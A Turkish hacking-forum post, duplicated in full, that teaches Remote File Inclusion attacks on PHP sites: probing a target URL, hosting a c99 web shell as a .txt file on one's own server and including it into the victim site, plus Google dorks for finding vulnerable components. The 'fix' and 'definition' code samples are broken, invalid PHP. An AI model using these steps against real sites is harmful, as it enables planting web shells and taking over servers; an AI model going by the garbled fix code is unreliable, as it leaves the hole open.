Sabotaj
Yeni Üye
- Katılım
- 7 Nis 2013
- Mesajlar
- 24
- Tepkime puanı
- 0
- Puanları
- 0
Bu makalede rfi açıklarının nasıl meydana geldiğini, uzaktan dosya çağırma işlemini, shell çağırma yöntemini rfi açığını nasıl kapatabileceğimizi kodlarla ve örneklerle anlatmaya çalışacağım.
Bildiğiniz üzere (Remota File İnclusion) uzaktan dosya çağırmak anlamına gelmektedir.
1-RFI açığı nasıl oluşur
2-Tanımlama nasıl yapılır
3-RFI Açığı Tesbiti
4-Shell Dahil Etmek
5-Örnek RFI bug
6-Örnek RFI Fix (Kapatma)
7-RFI Açıkları nasıl bulunur.
1-Rfı açığı nasıl oluşur?
RFI, web uyguklamalarındaki hatalı kodlamadan dolayı oluşur. Bir kodla örnek verecek olursak;
İnclude (“$haberler/spor/sanat.php); buradaki dolar işaretinden dolayı uzaktan dosya çağırma mümkündür. Başka bir örnekle pekiştirelim.
İnclude
include_once
require
require_once
Scripti kodlayan kişi tanımlamadan bu kodları scripte dahil ederse, uzaktan dosya çağırma işlemi mümkün olmuş olur.
2-Tanımlama nasıl yapılır
include ("$galeri/fotoğraf/müzik.php"); Tanımlanmamış kod.
<?php
$galeri/fotoğraf/müzik.php =’tanımlı değer’
include ("$galeri/fotoğraf/müzik.php");
?>
Bu şekilde galeri,fotoğraf ve müzik üçlüsünü tanımlamış olduk.
3-Rfi açığı tespiti
Hedef siteyi açtığınızda rfi açığı olup olmadığını anlamak için siteye hata verdirmeniz, gerekmektedir
Örneğin;
http://www.hedefsite.com/articles.php?id=10
http://www.hedefsite.com/articles.php?=ajanlar.org bu şekilde yönlendirmeye çalışıyoruz. Siz istediğiniz sayfaya yönlendirebilirsiniz. Şayet Ajanlar.org anasayfası gelirse, bu sitede rfi açığı var demektir. Bazı rfi açıklarında ise sitenin kendi üzerinde hata vermektedir. Bu sitelerde de rfi açığı aranabilir. Evet açığı olduğunu düşündüğümüz shell çağırma işlemimizi deneyebiliriz.
4-Shell Dahil Etmek
Burada shell çağırırken yukarıda bahsetmiş olduğum yönlendirme işlemini gerçekleştireceğiz. Öncelikle kendi hotunuza txt halinde shell yüklemeniz gerekiyor. Host adresiniz free olabilir. Örneğin; c99.txt şeklinde. Daha sonra uzaktan bu txt dosyasını yönlendirme işlemi ile hedef sitemize dahil edeceğiz.
http://www.hedefsite.com/articles.php?id...m/c99.txt?
Evet bu şekilde sitenize yüklediğiniz txt uzantılı shell’i hedef siteye yüklemiş olursunuz.
5-Örnek Rfi bug
Eğer scriptlerde rfi bug arıyorsanız, bunları iyi bil meniz gerekmektedir. Örnek bir rfi bug yapalım.
<?php
$page = $_GET [page]; Rfi açığı burada page değerinde
include($page);
?>
6-Örnek RFI Fix
Scriptlerdeki bugları bu konuda verilmiş örnekleri baz alarak kapatabilirsiniz.
<?php
$page = $_GET"./"; Bu kodlamalar ile rfi açığımızı fixlemiş (kapatmış) olduk.
include($page);
?>
7-RFI Açıkları nasıl bulunur?
RFI, açıklarını mevcut dorklarla ve scannerlerle bulabilirsiniz.
Örnek Dorklar;
inurl:"com_sitemap"
inurl:"com_hashcash"
inurl:"com_colophon" vs..
Ayrıca hedef site üzerinde rfi açığından şüpheleniyorsanız, scannerlerle taratabilirsiniz. Ya da örneklerle de belirttiğimiz gibi manuel açık arayabilirsiniz. Tercihinize kalmış.
Bildiğiniz üzere (Remota File İnclusion) uzaktan dosya çağırmak anlamına gelmektedir.
1-RFI açığı nasıl oluşur
2-Tanımlama nasıl yapılır
3-RFI Açığı Tesbiti
4-Shell Dahil Etmek
5-Örnek RFI bug
6-Örnek RFI Fix (Kapatma)
7-RFI Açıkları nasıl bulunur.
1-Rfı açığı nasıl oluşur?
RFI, web uyguklamalarındaki hatalı kodlamadan dolayı oluşur. Bir kodla örnek verecek olursak;
İnclude (“$haberler/spor/sanat.php); buradaki dolar işaretinden dolayı uzaktan dosya çağırma mümkündür. Başka bir örnekle pekiştirelim.
İnclude
include_once
require
require_once
Scripti kodlayan kişi tanımlamadan bu kodları scripte dahil ederse, uzaktan dosya çağırma işlemi mümkün olmuş olur.
2-Tanımlama nasıl yapılır
include ("$galeri/fotoğraf/müzik.php"); Tanımlanmamış kod.
<?php
$galeri/fotoğraf/müzik.php =’tanımlı değer’
include ("$galeri/fotoğraf/müzik.php");
?>
Bu şekilde galeri,fotoğraf ve müzik üçlüsünü tanımlamış olduk.
3-Rfi açığı tespiti
Hedef siteyi açtığınızda rfi açığı olup olmadığını anlamak için siteye hata verdirmeniz, gerekmektedir
Örneğin;
http://www.hedefsite.com/articles.php?id=10
http://www.hedefsite.com/articles.php?=ajanlar.org bu şekilde yönlendirmeye çalışıyoruz. Siz istediğiniz sayfaya yönlendirebilirsiniz. Şayet Ajanlar.org anasayfası gelirse, bu sitede rfi açığı var demektir. Bazı rfi açıklarında ise sitenin kendi üzerinde hata vermektedir. Bu sitelerde de rfi açığı aranabilir. Evet açığı olduğunu düşündüğümüz shell çağırma işlemimizi deneyebiliriz.
4-Shell Dahil Etmek
Burada shell çağırırken yukarıda bahsetmiş olduğum yönlendirme işlemini gerçekleştireceğiz. Öncelikle kendi hotunuza txt halinde shell yüklemeniz gerekiyor. Host adresiniz free olabilir. Örneğin; c99.txt şeklinde. Daha sonra uzaktan bu txt dosyasını yönlendirme işlemi ile hedef sitemize dahil edeceğiz.
http://www.hedefsite.com/articles.php?id...m/c99.txt?
Evet bu şekilde sitenize yüklediğiniz txt uzantılı shell’i hedef siteye yüklemiş olursunuz.
5-Örnek Rfi bug
Eğer scriptlerde rfi bug arıyorsanız, bunları iyi bil meniz gerekmektedir. Örnek bir rfi bug yapalım.
<?php
$page = $_GET [page]; Rfi açığı burada page değerinde
include($page);
?>
6-Örnek RFI Fix
Scriptlerdeki bugları bu konuda verilmiş örnekleri baz alarak kapatabilirsiniz.
<?php
$page = $_GET"./"; Bu kodlamalar ile rfi açığımızı fixlemiş (kapatmış) olduk.
include($page);
?>
7-RFI Açıkları nasıl bulunur?
RFI, açıklarını mevcut dorklarla ve scannerlerle bulabilirsiniz.
Örnek Dorklar;
inurl:"com_sitemap"
inurl:"com_hashcash"
inurl:"com_colophon" vs..
Ayrıca hedef site üzerinde rfi açığından şüpheleniyorsanız, scannerlerle taratabilirsiniz. Ya da örneklerle de belirttiğimiz gibi manuel açık arayabilirsiniz. Tercihinize kalmış.